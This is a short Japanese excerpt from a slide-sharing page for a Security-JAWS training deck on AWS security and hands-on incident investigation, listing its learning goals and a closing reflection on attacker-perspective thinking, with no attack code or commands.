攻撃者の視点や怪しいポイントの探し方は共通 • 最新と既存の組み合わせ

学習目標の振り返り • AWS環境のセキュリティを学ぶ(午前) • 実践的なAWS環境のインシデント調査を通じて AWS環境での対策を体験し活かすただツールの使い方を覚えるのではなく考え方を学んでほしい

とある診断員とSecurity-JAWS#02_解説編資料

とある診断員とSecurity-JAWS#02_解説編資料

tigerszk

More Decks by tigerszk

Other Decks in Technology

Featured

Transcript